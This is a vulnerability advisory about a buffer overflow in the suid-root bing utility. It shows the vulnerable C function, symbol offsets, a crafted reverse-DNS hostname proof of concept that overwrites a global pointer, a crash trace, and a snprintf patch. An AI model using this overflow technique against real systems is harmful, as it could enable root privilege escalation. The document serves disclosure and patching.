Vulnerability
bing
Affected
bing
Description
Paul Starzetz found following. There is an overflowable buffer
in the bing (throughput meassurement tool) binary. The bing tool
comes with various Linux distributions. On SuSE (at least
6.0-6.4) bing isn't installed by default, but if installed it will
be suid root:
4556 54 -r-sr-xr-x 1 root root 54929 Apr 5 1999 /usr/bin/bing
The buffer overflowed is a 80 byte static local buffer:
char *
pr_addr(l)
u_long l;
{
struct hostent *hp;
static char buf[80];
if ((options & F_NUMERIC) ||
!(hp = gethostbyaddr((char *)&l, 4, AF_INET)))
(void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)&l));
else
(void)sprintf(buf, "%s (%s)", hp->h_name,
inet_ntoa(*(struct in_addr *)&l));
return(buf);
}
It is possible to overwrite (look at the objects article) the
global 'objects' hook with data comming from gethostbyname.
The attacker must have controll of at least one IN-ADDR.arpa
zone, in order to force gethostbyname() return an arbitrary host
name.
The impact is obvious, even if the overflow is hard to exploit in
practice. Another difficulty arises from the fussy
gethostbyname(). It may become impossible to supply a host name
you need for successfull exploitation, because gethostbyname
would filter strange characters and reject bogus hostnames.
Though, it depends on the virtual addresses the programm is
running at (hm, what about some run time variables of the
malloc-system or preload stuff?)
Looking at the symbol table we found that:
paul@phoenix:~/tmp2/bing > objdump --syms /usr/bin/bing|grep "0804f4"
0804f4ac l O .bss 00000001 nrand
0804f4a8 l O .bss 00000004 lastrand
0804f420 l O .bss 00000050 buf.34
0804f470 l O .bss 00000004 old_rrlen.37
0804f480 l O .bss 00000028 old_rr.38
0804f4b0 l O .bss 00000004 objects
0804f4c0 g O .bss 0000ffbc outpack
There are 6 variables which we can overwrite, though. The offset
from buf to objects hook is 144 (dec). To demonstrate this set up
a bogus reverse zone with a revptr like this:
"overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil"
AbCd is the place where 'objects' will be overwritten. A simple
check confirms this:
root@phoenix:/var/named > /etc/rc.d/named start
Starting name server.done
root@phoenix:/var/named > host 192.168.100.5
5.100.168.192.IN-ADDR.ARPA domain name pointer
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
root@phoenix:/var/named > bing -v -e1 -c1 192.168.100.5 192.168.100.5
BING 192.168.100.5 (192.168.100.5) and 192.168.100.5 (192.168.100.5)
44 and 108 data bytes
52 bytes from
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
(192.168.100.5): Echo Request
116 bytes from
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
(192.168.100.5): Echo Request
--- 192.168.100.5 statistics ---
bytes out in dup loss rtt (ms): min avg max
44 1 1 0% 9.621 9.621 9.621
108 1 1 0% 7.477 7.477 7.477
--- 192.168.100.5 statistics ---
bytes out in dup loss rtt (ms): min avg max
44 1 0 100%
108 1 0 100%
not enough received packets to estimate link characteristics.
resetting after 1 samples.
Segmentation fault
This hapens after bing has finished its work and the libc stuff is
beeing executed:
root@phoenix:/var/named > gdb /usr/local/bing
GNU gdb 4.17.0.11 with Linux support
(gdb) set args -v -e1 -c1 192.168.100.5 192.168.100.5
(gdb) run
Starting program: /usr/bin/bing -v -e1 -c1 192.168.100.5 192.168.100.5
.
.
Program received signal SIGSEGV, Segmentation fault.
0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at ./frame.c:581
(gdb) bt
#0 0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at
./frame.c:581
#1 0x8048d01 in __do_global_dtors_aux ()
#2 0x804cf55 in _fini ()
#3 0x400320f5 in exit (status=0) at exit.c:55
On systems with suid /usr/bin/ping it may be possible under
certain circumstances to gain root priviledges.
Solution
chmod 700 /usr/bin/bing. It is patched by default in FreeBSD's
package collection. Here's the patch below. There is a bugfix
release including this patch, available from
http://www.freenix.org/reseau/bing-1.0.5.tar.gz
The patch:
--- bing.c.orig Thu Jul 20 16:45:32 1995
+++ bing.c Sat Mar 4 16:13:05 2000
@@ -718,13 +718,13 @@
u_long l;
{
struct hostent *hp;
- static char buf[80];
+ static char buf[MAXHOSTNAMELEN+19];
if ((options & F_NUMERIC) ||
!(hp = gethostbyaddr((char *)&l, 4, AF_INET)))
- (void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)&l));
+ (void)snprintf(buf, sizeof(buf), "%s", inet_ntoa(*(struct in_addr *)&l));
else
- (void)sprintf(buf, "%s (%s)", hp->h_name,
+ (void)snprintf(buf, sizeof(buf), "%s (%s)", hp->h_name,
inet_ntoa(*(struct in_addr *)&l));
return(buf);
}
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